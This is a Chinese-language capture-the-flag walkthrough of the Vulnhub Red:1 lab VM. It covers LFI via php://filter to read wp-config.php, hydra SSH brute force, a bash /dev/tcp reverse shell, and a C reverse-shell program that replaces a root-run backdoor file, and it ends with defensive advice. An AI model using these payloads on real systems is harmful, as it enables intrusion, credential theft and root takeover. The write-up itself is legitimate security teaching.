Vulnhub Red:1靶机实战,真实的靶机与红队在线solo
字数 1546 2025-08-11 22:57:16
Vulnhub Red:1 靶机实战教学文档
环境搭建
- 靶机平台: VirtualBox
- 攻击机平台: VMware Workstation
- 网络配置:
- 靶机网卡: 仅主机模式 (Virtual Host-Only)
- 攻击机网卡: 桥接模式 (Virtual Host-Only)
- 确保两台主机处于同一网段或路由互通
信息收集阶段
1. 主机发现
使用 arp-scan 扫描本地网络:
arp-scan -l
探测到靶机IP: 192.168.56.104
2. 端口扫描
使用 nmap 进行详细扫描:
nmap -T4 -A -v 192.168.56.104
发现开放端口:
- 22: SSH服务
- 80: HTTP服务
3. Web应用分析
访问Web页面发现:
- 被篡改的WordPress页面
- 提示"该页面已经被红方侵入"
- 点击search跳转到
http://redrocks.win - Wappalyzer扫描确认使用WordPress CMS
4. 域名解析配置
修改本地hosts文件以访问redrocks.win:
192.168.56.104 redrocks.win
5. 源码分析
在 /hello-world 页面源码中发现提示:
"还在寻找吗?也许你应该向Miessler寻求帮助,但是无所谓,反正你也看不懂。"
工具准备
SecLists工具
- 在GitHub上找到Miessler的SecLists工具
- SecLists包含:
- 用户名/密码字典
- URL列表
- 敏感数据模式
- 模糊测试payload
- WebShell等
- 重点关注
Discovery/Web-Content目录下的字典文件
目录爆破
使用 gobuster 进行目录爆破:
gobuster dir -w /path/to/SecLists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win
发现可疑文件: NetworkFileManagerPHP.php (状态码500)
文件包含漏洞利用
1. 参数模糊测试
使用 wfuzz 测试隐藏参数:
wfuzz -c -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=ls -w /path/to/burp-parameter-names.txt
发现有效参数: key
2. LFI验证
测试本地文件包含:
http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
成功读取系统文件
3. PHP伪协议利用
读取PHP文件源码:
?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
解码后发现提示:
"That password alone won't help you! Hashcat says rules are rules"
4. 读取WordPress配置文件
?key=php://filter/convert.base64-encode/resource=wp-config.php
获取MySQL数据库凭据
密码破解
1. Hashcat规则应用
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
2. SSH爆破
使用 hydra 进行SSH爆破:
hydra -l john -P passlist.txt 192.168.56.104 ssh
成功密码: !!Gn1k_3r3hwl4m_v3R
维持访问
1. 反弹Shell
发现系统会自动踢出会话,建立反弹Shell:
sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.56.103/6789 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权分析
1. 进程监控
使用 pspy64s 监控进程:
wget http://192.168.56.103:8000/pspy64s
chmod +x pspy64s
./pspy64s
发现后门程序:
/var/www/wordpress/.git/rev/var/www/wordpress/.git/supersecretfileuc.c
2. 后门利用
- 删除原有文件:
rm /var/www/wordpress/.git/rev
rm /var/www/wordpress/.git/supersecretfileuc.c
- 创建C语言反弹Shell (使用revshells.com生成):
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 6789;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.56.103");
connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
- 上传到目标:
wget http://192.168.56.103:8000/supersecretfileuc.c -O /var/www/wordpress/.git/supersecretfileuc.c
- 等待root权限反弹Shell连接
获取Flag
- 用户flag:
/home/oxdf/user.txt - root flag:
/root/root.txt
关键知识点总结
-
信息收集:
- ARP扫描发现主机
- Nmap端口扫描
- Web应用指纹识别
-
漏洞利用:
- 目录爆破技术
- 文件包含漏洞(LFI)
- PHP伪协议利用
-
密码破解:
- Hashcat规则应用
- Hydra爆破SSH
-
权限维持:
- 反弹Shell技术
- 终端稳定性处理
-
提权技术:
- 进程监控(pspy)
- 定时任务利用
- C语言后门程序
-
防御对抗:
- 对抗自动踢出机制
- 绕过权限限制
防御建议
- 限制文件包含功能
- 加强SSH密码策略
- 监控.git目录访问
- 限制定时任务执行权限
- 定期检查系统后门程序